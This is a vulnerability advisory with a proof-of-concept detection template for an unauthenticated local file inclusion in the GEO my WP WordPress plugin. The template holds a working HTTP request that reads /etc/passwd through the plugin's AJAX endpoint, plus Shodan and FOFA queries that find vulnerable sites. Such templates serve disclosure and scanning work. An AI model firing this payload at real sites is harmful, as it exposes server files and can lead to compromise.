CVE-2026-85200: GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion

2026-09-16 Unknown PoC Public

Description

GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.

PoC

id: CVE-2026-85200

info:
  name: GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.
  remediation: |
    Update to the latest version beyond 4.5.5.3.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/562712a8-a42e-4b36-9985-3c71698efdda
    - https://github.com/Fitoussi/geo-my-wp/commit/5a768bf1c6e44ded83a65be8789f3587515665ac
    - https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5.3/includes/gmw-functions.php#L1945
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-85200
    epss-score: 0.01903
    epss-percentile: 0.78665
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 1
    vendor: developer.developer
    product: geo-my-wp
    shodan-query: 'http.html:"/wp-content/plugins/geo-my-wp/"'
    fofa-query: 'body="/wp-content/plugins/geo-my-wp/"'
  tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,lfi,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=gmw_info_window_init&location[object_id]=1&location[location_id]=1&form[component]=posts_locator&form[prefix]=pt&form[info_window_template][content_path]=/etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044021f13aad7c22a2073a6d1299d5dc498ae7efc08c629304dc90619aad188066101022100b298606e88d5b46f2fe3568910081d2672f641f350329705a953a934cf6fe05e:922c64590222798bb761d5b6d8e72950

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